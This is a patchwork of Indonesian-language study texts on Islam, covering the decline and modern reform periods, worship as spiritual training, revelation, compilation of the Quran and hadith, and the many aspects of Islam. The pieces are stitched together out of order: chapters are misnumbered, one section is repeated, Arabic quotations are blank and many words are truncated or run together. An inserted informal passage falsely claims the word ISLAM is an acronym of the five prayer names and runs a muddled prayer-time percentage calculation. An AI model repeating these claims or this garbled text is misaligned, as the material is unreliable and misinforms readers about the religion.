Persia, Kerajaan Safawi mendapat serangan dari Raja Afghan yang berlainan dengan Syah-syah Safawi, menganut faham Sunni. Mir Muhammad dapat menguasai Asfahan di tahun 1722 M. Tetapi dalam pada itu Nadir Syah seorang Jendral, atas nama Syah Tahmasp II dapat merampas ibu kota itu kembali di tahun 1730 M. Kemudian ia sendiri yang menjadi Syah di Persia. Tapi di tahun 1750 M, Karim Khan dari Dinasti Zand dapat merampas kekuasaan di seluruh Persia, kecuali daerah Khurasan. Kekuasaan Dinasti Zand ditentang oleh Dinasti Qajar dan akhirnya Agha Muhammad dapat mengalahkan Dinasti Zand di tahun 1794 M. Semenjak itu sampai tahun 1925 M, Persia diperintah oleh Dinasti Qajar. Di India, dibawah pemerintahan Aurangzeb yang mendapat gelar Alamghir, terjadi pemberontakan-pemberontakan dari pihak golongan Hindu yang merupakan mayoritas penduduk India. Pemberontakan Sikh dipimpin oleh Guru Tegh Bahadur dan kemud oleh Guru Gobind Singh. Golongan Rajput berontak di bawah pimpinan Raja Udaipur. Kaum Mahratas dipimpin oleh Sivaji dan anaknya Sambaji. Sesudah Aurangzeb meninggal serangan-serangan pemberoni bertambah kuat dan akhirnya daerah-daerah yang jauh dari Delhi malepaskan diri kekuasaan Mughal satu demi satu. Dalam pada dari itu Inggris telah pula turut memainkan peranan dalam politik India dan menguasai India di tahun 1857 M. Sampai tahun 1947 M India menjadi jajahan Inggeris. Di masa ini kekuatan militer dan politik umat Islam menurun. Dagang dan ekonomi uma Islam, dengan hilangnya monopoli dagr antara Timur dan Barat dari tangan mereka, jatuh. Ilmu pengetahuan di dunia Islam dalam keadaan stagnasi. Tarikat-tarikat diliputi oleh suasana khurafat dan superstisi. Umat Islam dipengaruhi oleh sikap fatalistis. Dunia Islam dalam
keadaan mundur dan statis. Dalam pada itu, Eropa dengan kekayaan-kekayaan yang diangkut dari Amerika dan laba yang timbul dari dagang langsung dengan Timur Jauh bertambah kaya dan maju. Penetrasi Barat, yang kekuasaannya bertambah besar, ke dunia Islam yang didudukinya, kian lama bertambah mendalam. Akhirnya di tahun 1798 M. Napoleon menduduki Mesir, sebagai salah satu pusat Islam yang terpenti Jatuhnya pusat Islam ini ketangan Barat, menginsafkan dunia Islam akan kelemahannya dan menyadarkan umat Islam bahwa di Barat telah timbul peradaban yang lebih tinggi dari peradaban Islam, dan yang merupakan ancaman bagi hidup Islam sendiri.

III. Periode Modern : 1800 M.
Periode ini merupakan Zaman Kebangkitan Islam. Ekspedisi Napoleon di Mesir yang berakhir di tahun 1801 M, membuka mata dunia Islam, terutama Turki dan Mesir, akan kemunduran dan lemahan umat Islam di samping kemajuan dan kekuatan Barat. Raja dan pemukapemuka Islam mulai berfikir dan mencari jalan untuk mengembalikan balance of power, yang telah pincang dan membahayakan Islam bagi itu. Kontak Islam dengan Barat sekarang berlainan sekali dengan kontak Islam dengan Barat di Periode Klasik. Pada waktu itu Islam sedang menaik dan Barat sedang dalam kegelapan. Sekarang sebaliknya, Islam sedang dalam kegelapan dan Barat sedang menaik. Kini Islam yang ingin belajar dari Barat. Dengan demikian timbullah apa yang disebut pemikiran dan aliran pembaharuan atau modernisasi dalam Islam. Pemuka-pemuka Islam mengeluarkan pemikiran-pemikiran bagaimana caranya membuat umat Islam maju kembali sebagai di Periode Klasik. Usaha-usaha ke arah itupun mulai dijalankan dalam kalangan umat Islam. Tetapi dalam pada itu Barat juga bertambah maju.

BAB III
ASPEK IBADAT, LATIHAN SPIRITUIL DAN
AJARAN MORAL

Manusia dalam faham Islam, sebagai halnya dalam agama monoteisme lainnya, tersusun dari dua unsur, unsur jasmani dan unsure rohani. Tubuh manusia berasal dari materi dan mempunyai kebutuhan-kebutuhan materil, sedangkan roh manusia bersifat immateri dan mempunyai kebutuhan spirituil. Badan, karena mempunyai hawa nafsu, bisa membawa pada kejahatan, sedang roh, karena berasal dari unsur yang suci, mengajak kepada kesucian. Kalau seseorang hanya mementingkan hidup kematerian ia mudah sekali dibawa hanyut oleh kehidupan yang tidak bersih, bahkan dapat dibawa hanyut kepada kejahatan. Oleh karena itu pendidikan jasmani manusia harus disempurnakan dengan pendidikan rohani. Pengembangan daya-daya jasmani seseorang tanpa dilengkapi dengan pengembangan daya rohani akan membuat hidupnya berat sebelah dan kehilangan keseimbangan. Orang yang demikian akan menghadapi kesulitan-kesulitan dalam hidup duniawi, apalagi kalau hal itu membawa kepada perbuatan-perbuatan tidak baik dan kejahatan.

Dalam Islam ibadatlah yang memberikan latihan rohani yang diperlukan manusia itu. Semua ibadat yang ada dalam Islam, salat, puasa, haji dan zakat, bertujuan membuat roh manusia supaya senantiasa tidak lupa pada Tuhan, bahkan senantiasa dekat pada-Nya. Di antara ibadat Islam, sholatlah yang membawa manusia terdekat kepada Tuhan. Di dalamnya terdapat dialog antara manusia dengan Tuhan dan dialog berlaku antara dua fihak yang saling berhadapan. Dalam shalat manusia memang berhadapan dengan Tuhan. Dalam shalat seseorang melakukan halhal berikut: memuja ke-Maha Sucian Tuhan, menyerahkan diri kepada Tuhan, memohon supaya dilindungi dari godaan syetan, memohon diberi ampun dan dibersihkan dari dosa, memohon supaya diberi petunjuk kepada jalan yang benar dan dijauhkan dari kesesatan dan perbuatan-perbuatan tidak baik, perbuatan-perbuatan jahat dan sebagainya. Pendek kata dalam dialog dengan Tuhan itu seseorang meminta supaya rohnya disucikan. Dialog ini wajib diadakan lima kali sehari, dankalau seseorang lima kali sehari dengan sadar memohon pensucian roh.
Puasa juga merupakan pensucian roh. Di dalam berpuasa seseorang harus menahan hawa nafsu makan, minum dan seks. Di samping itu ia juga harus menahan rasa amarah, keinginan mengatai orang, bertengkar dan perbuatan-perbuatan kurang baik lainnya. Latihan jasmani dan rohani di sini bersatu dalam usaha mensucikan roh manusia. Di bulan puasa dianjurkan pula supaya orang banyak bershalat dan membaca Al-Qur-an, yaitu hal-hal yang membawa orang dekat kepada Tuhan. Latihan ini disempurnakan dengan pernyataan rasa kasih kepada anggota masyarakat yang lemah kedudukan ekonominya dengan mengeluarkan zakat fitrah bagi mereka. lbadat haji juga merupakan pensucian roh. Dalam mengerjakan haji di Mekkah, orang berkunjung ke Baitullah (Rumah Tuhan dalam arti rumah peribadatan yang pertama didirikan atas perintah Tuhan di dunia ini). Sebagai dalam shalat, orang di sini juga merasa deka sekali dengan Tuhan. Bacaanbacaan yang diucapkan sewaktu mengerjakan haji itu juga merupakan dialog antara manusia denga Tuhan.
Ibadat dalam Islam sebenarnya bukan bertujuan supaya Tuhan disembah dalam arti penyembahan yang terdapat dalam agama-agma primitif. Pengertian serupa ini adalah pengertian yang tidak tepat. Betul ayat 56 dari Surat Al-Zariat mengatakan : dan ini diartikan bahwa manusia diciptakan semata-mata untuk beribadat kepada Tuhan yaitu mengerjakan shalat, puasa, haji dan zakat. Soal ibadah memang
amat penting artinya dalam sejaran Islam, tetapi mestikah kata " " di sini berarti beribadat, mengabdi atau menyembah ? Sebenarnya Tuhan tidak berhajat untuk disembah atau dipuja manusia. Tuhan adalah Maha Sempurna dan tak berhajat kepada apapun. Oleh karena itu kata " ” disini lebih tepat kalau diberi arti lain daripada arti beribadat, mengabdi, memuja, apalagi menyembah. Lebih tepat kelihatannya kalau kata itu diberi arti tunduk dan patuh dan kata memang mengandung arti tunduk dan patuh sehingga arti ayat itu menjadi :
‘Tidak Kuciptakan jin dan manusia kecuali untuk tunduk dan patuh kepadaKu’.
Arti ini lebih sesuai dengan arti yang terkandung dalam kata muslim dan muttaqi, yaitu menyerah, tunduk dan menjaga diri dari hukuman Tuhan di Hari Kiamat dengan mematuhi perintah-perintah dan larangan-larangan Tuhan. Dengan lain kata, manusia diciptakan Tuhan sebenarnya ialah untuk berbuat baik dan tidak untuk berbuat jahat, sungguhpun di dunia ada manusia yang memilih kejahatan.
Selanjutnya arti sembah dan sembahyang diberikan kepada " " dan " " juga membawa kepada faham yang tidak tepat: Kata sembahyang berasal dari suatu bahasa yang memakai falsafat lain dari falsafat Islam. Sembahyang mengandung arti menyembah kekuatan gaib dalam faham masyarakat animisme dan politeisme. Dalam falsafat masyarakat serupa ini kekuatan gaib yang demikian ditakuti dan mesti disembah dan diberi sesajen agar ia jangan murka dan jangan membawa bencana bagi alam.
Dalam Islam Tuhan bukanlah merupakan suatu zat yang ditakuti tetapi suatu zat yang dikasihi. Ini ternyata dari ucapan : “ “, yang tiap hari berkali-kali dibaca umat Islam. Rahman dan Rahim berarti pengasih lagi Penyayang, jadi bukan Tuhan yang ditakuti, tetapi Tuhan yang dikasihi manusia.
Sebagai umat muslim yang menganut ajaran islam sesuai tuntunan Rasul Allah SWT diwajibkan untuk menjalankan rukun-rukun islam itu sendiri. Diantaranya adalah kewajiban menjalankan rukun islam yang ke-2 yaitu mengerjakan sholat 5 waktu. Sholat merupakan kewajiban yang harus dikerjakan umat muslim didunia tiap waktunya dalam satuhari baik malam maupun siang.
Seperti filosofi islam itu sendiri yang kita kenal juga merupakan susunan kata dari Isha,Subuh,Luhur,Ashar Dan Magrib adalah kelima waktu kewajiban yang harus dijalani seorang umat. Apabila memandang dari usia Rosulullah SAW manusia umum memiliki amanah 63 tahun untuk menjalankan kewajiban yang Allah SWT amanahkan.
Keterangan:
Sehari = 24jam
12 bulan
52 minggu
365 hari/366 hari
8.760 jam
525.600 menit
31.536.000 detik
Untuk mengihtung persentasi lama waktu sholat yang dilakukan umat muslim pada umumnya orang Indonesia. Lama waktu sholat 5 menit dalam sekali sholat apabila 5 waktu dalam sehari 5 x 5 menit = 25 menit tambah 5 menit untuik ibadah lain setelah sholat dalam ksehari waktu untuk sholat aja hanya 30 menit. Jika dalam satu bulan bahkan dalam satu tahun ada 366 x 30 menit = 10980 menit atau = 183 jam atau = 7,625 hari.
Jadi dalam satu tahun manusia hanya waktu mengerjakan sholat 7 hari belum termasuk sholat sunah. Jika melihat usia Rosulallah SWT sebagai tolak ukur usia manusia zaman sekarang atau paling lama 70 tahun Sangat sedikit diantara mereka yang umurnya melampaui kisaran itu. (HR. at-Tirmidzi 3550, Ibnu Hibban 7/246 dan Ibnu Majah 4236, shahih). Maka waktu sholat yang ditempuh 70 x 180 jam =12 810 jam atau 533,75 hari atau 1 tahun lebih 167,75 hari.

533,75 :25620 x100% = 2,0833 %
Maka waktu sholat manusia hidup didunia hanya 2,0833% dari lama hidup.........kita bisa renungkan. Dan sepertinya pahala shalat selama 1 tahun 167hari tidak sebanding dengan perbuatan dosa-dosa selama 53 tahun; dalam percakapan yang kadang dusta, baik yang sengaja ataupun tidak, dalam pembicaraan yang sering mengiris hati orangtua, dalam harta kekayaan yang sering pelit terhadap orang faqir, dalam setiap perbuatan yang kadang bergelimang dosa…
.........................................................................terimakasih..........................................................................

ISLAM DALAM PENGERTIAN YANG SEBENARNYA

Definisi Islam adalah agama yang ajaran-ajarannya diwahyukan Tuhan melalui Nabi Muhammad s.a.w sebagai Rosul dan ditujukan untuk seluruh masyarakat. Islam pada hakekatnya membawa ajaran-ajaran yang bukan hanya mengenai satu segi, tetapi mengenai berbagai segi dari kehidupan manusia. Sumber dari ajaran-ajaran yang Dalam faham dan keyakinan umat Islam Al-Quran mengandung firman yang diwahyukan kepada Nabi Muhammad. Sebagai dijelaskan dalam Al-Qur-an Surat 42 (Al-Syura) ayat 51 dan 52 mengatakan :“Tidak dapat terjadi bagi manusia bahwa Tuhan berbicara dengannya, kecuali melalui wahyu, atau dari belakang tabir ataupun melalui utusan yang dikirim, maka disampaikanlah kepadanya dengan seizing Tuhan apa yang dikehendaki-Nya. Sesungguhnya Tuhan Maha Tinggi dan Maha Bijaksana Demikianlah Kami kirimkan kepadamu roh atas perintah Kam”i.Dari terjemahan surat tersebut, dapat dilihat bahwasanya wahyu dapat dilihat dalam tiga bentuk. Bentuk itu di antaranya :Wahyu pertama kelihatannya adalah pengertian atau pengetahuan yang tiba-tiba dirasakan seseorang timbul dalam dirinya; timbul dengan tiba-tiba sebagai suatu cahaya yang menerangi jiwanya.kedua, bentuk wahyu ini ialah pengalaman dan penglihatan di dalam keadaan tidur atau di dalam keadaan trance. Di dalam bahasa asingnya ini disebut ru'ya (dream) atau kasy (vision).Wahyu bentuk ketiga ialah yang diberikan melalui utusan, atau malaekat, yaitu Jibril dan wahyu serupa ini disampaikan dalambentuk kata-kata.Dan dari bentuk-bantuk ketiga wahyu tersebut, wahyu yang diturunkan kepada Nabi Muhammad yaitu wahyu dalam bentuk ketiga, hal ini dijelaskan dalam beberapa surat Al-Quran, diantaranya :Al-Qur-an. Surat 26 (AI-Syu'ara) ayat 192-195 mengatakan :Sesungguhnya ini adalah wahyu Tuhan semesta alam. Dibawa turunoleh Roh Setia ke dalam hatimu agar engkau dapat memberi ingat.Dalam bahasa Arab yang jelas.16 (Al-Nahl) ayat 102 menyebutkan :Katakanlah : Roh Suci membawakannya turun dengan kebenaran dariTuhanmu untuk meneguhkan (hati) orang yang percaya dan untukmenjadi petunjuk serta kabar gembira bagi orang yang berserah diri.Surat 2 (Al-Baqarah) ayat 97 :“Katakanlah siapa yang menjadi musuh Jibril maka ialah sebenarnyayang membawanya turun ke dalam hatimu dengan seizin Tuhan untukmembenarkan apa yang (datang) sebelumnya dan untuk menjadi petunjuk sertakabar gembira bagi orang yang percaya”.Selain dalam Al-Quran dalam Hadist-hadist juga dijelaskan yaitu bahwa wahyu yang disampaikan kepada Nabi Muhammad adalah melalui Jibril. Dalam hadis Aisyah mengenai wahyu yang pertama diturunkan kepada Nabi, dapat kita baca bagaimana ketatnya Jibril merangkul beliau, sehingga beliau merasa sakit dan kemudian disuruh mengulangi apa yang diturunkan Jibril yaitu :"Bacalah (recite) dengan nama Tuhan yang menciptakan, menciptakanmanusia dari segumpal darah. Baca dan Tuhanmu Maha Pemurah”.Dalam hadis lain, sewaktu ditanya bagaimana caranya wahyu turunkepada beliau. Nabi Muhammad menerangkan: "Wahyu itu terkadang turun sebagai suara lonceng dan inilah yang terberat bagiku. Kemudian ia (Jibril) pergi akupun sudah mengingat apa yang diturunkannya. Terkadang malaikat datang dalam bentuk manusia, berbicara kepadaku akupun mengingat apa dikatakannya".Atas dasar ayat-ayat dan hadist-hadist inilah umat Islam yakin yang terkandung dalam Al-Qur’an adalah firman Tuhan. Hanya kata-kata Arab yang diakui sebagai wahyu, dan dan jika diganti dengan kata-kata Arab lain atau terjemahannya ke dalam bahasa , semua itu bukan lagi merupakan wahyu, atau Al-Quran yang sebenarnya. Dalam hal ini, wahyu menurut faham Islam, berlainan dari wahyu menurut faham agama lain, umpamanya agama Kristen.Wahyu yang dalam bentuk kata-kata itu disampaikan kepada Nabi Muhammad, turun bukan sekaligus tetapi sepotong demi sepotong dalam masa kurang lebih 23 tahun. Yang dilakukan Nabi pada waktu itu ialah setiap wahyu turun, itu beliau sampaikan kepada sahabat-sahabat untuk dihafal dan untuk dicatat.Zaidbin Ibn Sabit adalah sekretaris utama yang mencatat dalam bentuktulisan ayat-ayat yang diturunkan itu., Selain dari sekretaris ini disebut juga namasahabat-sahabat lain yang disuruh mencatat, jeperti Abu Bakar, Usman Umar, Ali, Zubair Ibn Awam, Abdullah Ibn Sa'ad dan Ubay Ibn Kaab. Ayat-ayat itu ditulis di atas batu, tulang, pelepah korma dan lain-lain. Penghafal-penghafal professionil, sebagai diakui oleh A. Guillaume merupakan bahagian dari anggota masyarakat, yaitu bahagian yang tak boleh tidak mesti ada dalam masyarakatMereka semualah yang menghafal syair-syair. Arab Jahiliah dalam keseluruhannya dan merekalah yang menyebarkannya ke daerah-daerah dan yang meneruskannya dari generasi ke generasi, hingga terkumpul dalam bentuk buku. Pengumpulan dan penulisan ayat-ayat itu dalam bentuk buku, terjadi setelah banyaknya sahabat-sahabat yang menghafal Al-Qur-an gugur dalam peperangan yang timbul di zaman Abu Bakar, satu tahun sesudah wafatnya Nabi Muhammad. Dengan gugurnya penghafal-penghafal Al-Quran dikuatirkan bahwa ayat-ayat Al-Qur’an akan dapat turut hilang. Maka atas anjuran Umar, Abu Bakar memerintahkan Zaid Ibn Sabit dan sahabat-sahabat lain, ayat-ayat tersebut dibukukan dan diperbanyak exemplarnya oleh Usman (644-655 M), dan dikirimkan ke daerah- daerah untuk menjadi pegangan tertulis bagi umat Islam yang disana.Sumber dari ajaran-ajaran Nabi kedua selain Al-Quran adalah Hadist, sebagai sumber kedua dari ajaran-ajaran Islam, mengandung sunnah (tradisi) Nabi Muhammad. Sunnah boleh mempunyai bentuk ucapan, perbuatan atau persetujuan secara diam dari Nabi. Berlainan halnya dengan Al-Qur-an, hadis tidak dikenal dicatat tidak dihafal di zaman Nabi. Alasan yang selalu dikemukakan ialah bahwa pencatatan dan penghafalan hadis dilarang Nabi, karena dikuatirkan bahwa dengan demikian akan terjadi percampur-bauran antara Al-Qur-an sebagai Sabda Tuhan dan hadis sebagai ucapan-ucapan Nabi. Ada disebut bahwa Umar Ibn Al-Khatab. Khalifah kedua, berniat untuk membukukan hadis Nabi, tetapi karena takut akan terjadi kekacauan antara Al-Qur-an dan hadist, niat itu tidak jadi dilaksanakan. Pembukuan baru terjadi di permulaan abad kedua Hijri, yaitu ketika Khalifah Umar Abd AI-Aziz (717-720 M) meminta dari Abu Bakar Muhammad Ibn Umar dan Muhammad Ibn Syihab Al-Zuhri, mengumpulkan hadis Nabi yang dapat mereka peroleh. Di tahun 140 H, Malik Ibn Anas menyusun hadis Nabi dalam buku Al-Muwatta.Pembukuan secara besar-besaran terjadi di abad ketiga Hijri oleh Bukhari. Muslim, Abu Daud, Al-Nasa'i, Al-Tarmizi dan Ibn Majah. Keenam buku kumpulan hadist inilah yang banyak dipakai sampai sekarang. Karena hadis tidak dihafal dan tidak dicatat dari sejak semula, tidaklah dapat diketahui dengan pasti mana hadis yang betul-betul berasal dari Nabi dan mana hadis yang dibuat-buat. Diriwayatkan bahwa Bukhari mengumpulkan 600.000 (enam ratus ribu) hadis, tetapi setelah mengadakan seleksi, yang dianggapnya hadis orisinil hanya 3.000 (tiga ribu) dari yang 600.000 itu, yaitu hanya setengah persen.Tidak ada kesepakatan kita antara umat Islam tentang keorisinilan semua hadis dari Nabi. Jadi berlainan dengan ayat-ayat Al-Qur’an yang semuanya diakui oleh seluruh umat Islam adalah wahyu yang diterima Nabi dan kemudian beliau teruskan kepada umatnya, dalam keorisinilan hadis terdapat perbedaan antara umat Islam. Oleh karena itu kekuatan hadis sebagai sumber ajaran-ajaran Islam tidak sama dengan kekuatan Al-Qur-an.Inilah dua sumber nash dari ajaran-ajaran Islam dalam segala aspeknya. Ajaran yang terpenting dari Islam ialah ajaran tauhid, maka sebagai halnya dalam agama monoteisme atau agama tauhid lainnya. yang menjadi dasar dari segala dasar di sini ialah pengakuan tentang adanya Tuhan Yang Maha Esa. Di samping ini menjadi dasar pula soal kerasulan, wahyu, kitab suci yaitu Al-Qur’an, soal orang yang percaya kepada ajaran yang dibawa Nabi Muhammad, yaitu soal mu'min dan muslim, soal orang yang tak percaya kepada ajaran-ajaran itu yakni orang kafir dan musyrik, hubungan makhluk, terutama manusia dengan Pencipta, soal akhir hidup manusia yaitu sorga dan neraka, dan lain sebagainya. Salah satu ajaran dasar lain dalam agama Islam ialah bahwa manusia yang tersusun dari badan dan roh itu berasal dari Tuhan dan akan kembali ke Tuhan. Tuhan adalah suci dan roh yang datang dari Tuhan juga suci dan akan dapat kembali ke tempat asalnya di sisi Tuhan, kalau ia tetap suci. Kalau ia menjadi kotor dengan masuknya ia ke dalam tubuh manusia yang bersifat materi itu, ia tak akan dapat kembali ke tempat asalnya. Dalam ajaran Islam mengenai hal ini tersimpul dalam ibadat yang mengambil bentuk salat, puasa zakat, haji dan ajaran-ajaran mengenai moral atau akhlak Islam. Nabi Muhammad memang mengatakan bahwa beliau datang untuk menyempurnakan pengertian budi pekerti luhur (Aku diutus hanyalah untuk menyempurnakan budi pekerti luhur). Aspek yang lain adalah aspek ibadat dan ajaran moral ini juga merupakan aspek penting dari Islam. Selanjutnya Islam berpendapat bahwa hidup manusia di dunia ini tidakbisa terlepas dari hidup manusia di akhirat, bahkan lebih dari itu corak hidupmanusia di dunia ini menentukan corak hidupnya di akhirat kelak. Kebahagiaandi akhirat bergantung pada: hidup baik di dunia. Hidup baik menghendakimasyarakat manusia yang teratur. Oleh sebab itu Islam mengandung peraturanperaturantentang kehidupan masyarakat manusia. Demikianlah terdapat peraturan-peraturan mengenai hidup kekeluargaan (perkawinan, perceraian, warisdan lain-lain) tentang hidup ekonomi dalam bentuk jual beli, sewa-menyewa,pinjam-meminjam, perserikatan dan lain-lain, tentang hidup kenegaraan, tentangkejahatan (pidana), tentang hubungan Islam dan bukan Islam, tentang hubunganorang kaya dengan orang miskin dan sebagainya. Semua ini dibahas dalamlapangan hukum Islam yang dalam istilah Islamnya disebut ilmu fikih. Fikihmemberikan gambaran tentang aspek hukum dari Islam.Semeritara itu Islam dalam sejarah mengambil bentuk kenegaraan.Dalam perkembangannya terjadi perbedaan faham tentang organisasi negar yangsemestinya. Perbedaan faham terbesar dalam soal lembaga politik ini terdapatantara kaum Sunni dan kaum Syi'ah. Kaum Sunni berpendapat bahwa kepalanegara tidak mesti dari keturunan Nabi melalui Fatimah dan Ali. Kaum Syi'ahsebaliknya berkeyakinan bahwa hanya keturunan Nabi yang boleh menjadikepala-negara. Selanjutnya terdapat pula perbedaan faham tentang persoalanapakah jabatan kepala-negara mempunyai sifat turun-temurun dari bapak kepadaanak, ataukah pengangkatan kepala-negara didasarkan atas kesanggupan sertakeahlian dan bukan atas keturunan.Islam sebagai negara tentu mempunyai lembaga-lembagakemasyarakatan lain, seperti lembaga kekeluargaan, lembaga kemiliteran,lembaga kepolisian, lembaga kehakiman dan lembaga pendidikan. Semua inimenggambarkan aspek lembaga kemasyarakatan dalam Islam.6Lebih lanjut lagi Islam mengajarkan bahwa Tuhan adalah Penciptasemesta alam. Oleh karena itu perlu dibahas arti penciptaan, materi yangdiciptakan, hakekat roh, kejadian alam, hakekat aqal, hakekat wujud, arti qidam(tidak bermula) dan lain-lain. Pemikiran dan pembahasan dalam hal-hal inidilakukan oleh akal. Maka timbullah persoalan akal dan wahyu serta falsafat danagama. Ini semua dibahas oleh falsafat dalam Islam.Akhirnya Islam mempunyai wujud dalam masa. Tahun Islam mulaidihitung dari hijrah Nabi ke Medinah di tahun 622 M dan sekarang Islam telahberusia dekat empat belas abad. Dari Semenanjung Arabia Islam meluas kePalestina, Suria, Mesopotamia, Persia, India, Asia, Tengah, Malaysia, Indonesiadan Filipina di Timur, dan ke Mesir, Afrika Utara, Spanyol dan Afrika Tengah diBarat kemudian ke Asia Kecil dan dari sana ke Eropah Timur sampai ke Austria.Dengan demikian Islam bukan hanya mempunyai sejarah politik yang panjangdalam masa tetapi juga sejarah politik yang luas daerahnya. Dalam ekspansi keTimur dan ke Barat itu Islam bertemu dengan peradaban-peradaban klasik,terutama peradaban Yunani dan Persia, dan kontak ini menimbulkan peradabanyang bercorak Islam dan yang berpengaruh di masanya, bahkan mempunyaipengaruh bagi peradaban Barat modern sekarang. Ini semua dibahas dalamsejarah kebudayaan Islam.Dengan adanya kontak antara Islam dan kemajuan Barat yang dimulaipada pembukaan abad kesembilan belas yang lalu, umat Islam dipengaruhi olehpemikiran-pemikiran modern Barat. Dalam Islam timbullah pula pemikiranpembaharuan, yang masih menjadi soal hangat sampai di zaman kita sekarang.Maka di samping aspek-aspek tersebut, terdapat pula aspek modernisasi ataupembaharuan dalam Islam.Jadi Islam, berlainan dengan apa yang umum diketahui, bukan hanyamempunyai satu-dua aspek, tetapi mempunyai berbagai aspek. Islam sebenarnyamempunyai aspek teologi, aspek ibadat, aspek moral, aspek mistisisme, aspekfalsafat, aspek sejarah, aspek kebudayaan dan lain sebagainya.Dalam pada itu aspek teologi tidak hanya mempunyai satu aliran tetapiberbagai aliran : ada aliran yang bercorak liberal, yaitu aliran yang banyakmemakai kekuatan akal di samping ke percayaan pada wahyu dan ada pula yangbersifat tradisionil, yaitu aliran yang sedikit memakai akal dan banyakbergantung pada wahyu. Di antara kedua aliran ini terdapat pula aliran-aliranyang tidak terlalu liberal, tetapi tidak pula terlalu tradisionil. Dalam aspek hukumdemikian pula terdapat bukan hanya satu mazhab, tetapi berbagai rupa mazhabdan yang diakui sekarang hanya empat yaitu mazhab Hanafi, Maliki, Syafi'i danHambali.Nyatalah bahwa Islam mempunyai berbagai rupa aspek, aliran danmazhab. Pengetahuan Islam hanya dari satu-dua aspek, dan itupun hanya darisatu aliran dan satu mazhab, menimbulkan pengetahuan yang tidak lengkaptentang Islam. Islam di Indonesia pada umumnya dikenal hanya dari aspekteologi, dan itupun hanya dari aliran tradisionilnya, dari aspek hukum, yaitumenurut mazhab Syafi'i dan dari aspek ibadat. Aspek-aspek lainnya, moral, mistisisme,falsafat, sejarah dan kebudayaan serta aliran-aliran dan mazhab-mazhablainnya kurang dikenal. Oleh karena itu pengetahuan kita di Indonesia tentang7Islam tidak sempurna. Dengan lain kata hakekat Islam tidak begitu dikenal. Inimenimbulkan kesalah fahaman tentang Islam.Timbul kesalah-fahaman bahwa Islam bersifat sempit dan tidak sesuaidengan kemajuan modern. Karena mengetahui satu mazhab fikih saja, ada hal-halyang dianggap haram menutut Islam, sedang sebenarnya hal-hal itu harammenurut mazhab tersebut dan tidak menurut mazhab lain. Demikian pula kesalahfahamanbahwa Islam mengajarkan fatalisme atau jabariah, sedang inisebenarnya adalah ajaran dari satu aliran tertentu dalam Islam. Aliran lain mempunyaifaham free will atau qadariah. Demikian pula timbul kesalah-fahamanbahwa Islam mengajarkan kesenangan materi, karena surga dan neraka diberigambaran sebagai kesenangan materi dan kesengsaraan jasmani. Ini sebenarnyahanyalah faham golongan tertentu dalam Islam, karena kaum sufi dan kaumfilosof menggambarkan sorga dan neraka sebagai keeenangan dan kesengsaraanrohani dan intelektuil.Untuk menghilangkan kesalahan-kesalahan faham itu perlulahdiketahui dan diajarkan hakekat Islam, yaitu Islam dalam segala aspeknya.Mengetahui Islam dalam segala aspeknya secara mendetail sudah barang tentutidak mudah dan menghendaki masa yang panjang dan usaha yang kuat.Mungkin orang akan menghabiskan semua umurnya untuk mengatahui itu. Danitu memang tidak perlu. Yang diperlukan hanyalah mengetahui aspek-aspek danaliran-aliran itu dalam garis besarnya. Sebagai dasar, pengetahuan yang demikiansudah cukup. Kemudian barulah orang mengadakan spesialisasi, yaituspesialisasi dalam bidang teologi, falsafat dan tasawuf, spesialisasi dalam bidanghukum, spesialisasi dalam bidang sejarah kebudayaan dan sebagainya.Mengadakan spesialisasi sebelum atau dengan tidak mengetahui aspek-aspek danaliran-aliran lain dalam Islam menimbulkan pengetahuan yang tidak lengkap,bahkan yang salah tentang Islam. Untuk menghindarkannya perlulah pendekatanlama dirobah dengan pendekatan baru.

BAB II
ISLAM DALAM PENGERTIAN YANG SEBENARNYA
Islam adalah agama dalam pengertian definisi nomor delapan tersebut di atas, yaitu agama yang ajaran-ajarannya diwahyukan Tuhan kepada masyarakat manusia melalui Nabi Muhammad s.a.w, sebagai Rasul. Islam pada hakekatnya membawa ajaran-ajaran yang bukan hanya mengenai satu segi, tetapi mengenai berbagai segi dari kehidupan manusia. Sumber dari ajaran-ajaran yang menganut berbagai aspek itu ialah Al-Qur-an dan hadis.. Sebagai dijelaskan Al-Qur-an, wahyu ada tiga macam Surat 42 (Al-Syura) ayat 51 dan 52 mengatakan :Tidak dapat terjadi bagi manusia bahwa Tuhan berbicara dengannya, kecuali melalui wahyu, atau dari belakang tabir ataupun melalui utusan yang dikirim, maka disampaikanlah kepadanya dengan seizin Tuhan apa yang dikehendaki-Nya. Sesungguhnya Tuhan Maha Tinggi dan Maha Bijaksana Demikianlah Kami kirimkan kepadamu roh atas perintah Kami.Wahyu dalam bentuk pertama tersebut di atas kelihatannya adalah pengertian atau pengetahuan yang tiba-tiba dirasakan seseorang timbul dalam dirinya; timbul dengan tiba-tiba sebagai suatu cahaya yang menerangi jiwanya. Wahyu bentuk kedua, ialah pengalaman dan penglihatan di dalam keadaan tidur atau di dalam keadaan trance. Di dalam bahasa asingnya ini disebut ru'ya (dream) atau kasy (vision). Wahyu bentuk ketiga ialah yang diberikan melalui utusan, atau malaekat, yaitu Jibril dan wahyu serupa ini disampaikan dalam bentuk kata-kata.Bahwa wahyu yang dalam Al-Qur-an. Surat 26 (AI Syu'ara) ayat 192-195 mengatakan : diturunkan kepada Nabi Muhammad adalah wahyu dalam bentuk ketiga, dijelaskan juga:Sesungguhnya ini adalah wahyu Tuhan semesta alam. Dibawa turun oleh Roh Setia ke dalam hatimu agar engkau dapat memberi ingat. Dalam bahasa Arab yang jelas.Selanjutnya Surat 16 (Al-Nahl) ayat 102 menyebutkan :Katakanlah : Roh Suci membawakannya turun dengan kebenaran dari Tuhanmu untuk meneguhkan (hati) orang yang percaya dan untuk menjadi petunjuk serta kabar gembira bagi orang yang berserah diri.Bahwa yang dimaksud dengan Roh Setia dan Roh Suci adalah Jibril(Gabrial) dijelaskan oleh Surat 2 (Al-Baqarah) ayat 97 :“Katakanlah siapa yang menjadi musuh Jibril maka ialah sebenarnya yang membawanya turun ke dalam hatimu dengan seizin Tuhan untuk membenarkan apa yang (datang) sebelumnya dan untuk menjadi petunjuk serta kabar gembira bagi orang yang percaya”.


AGAMA DAN PENGERTIAN AGAMA DALAM BERBAGAI BENTUKNYA
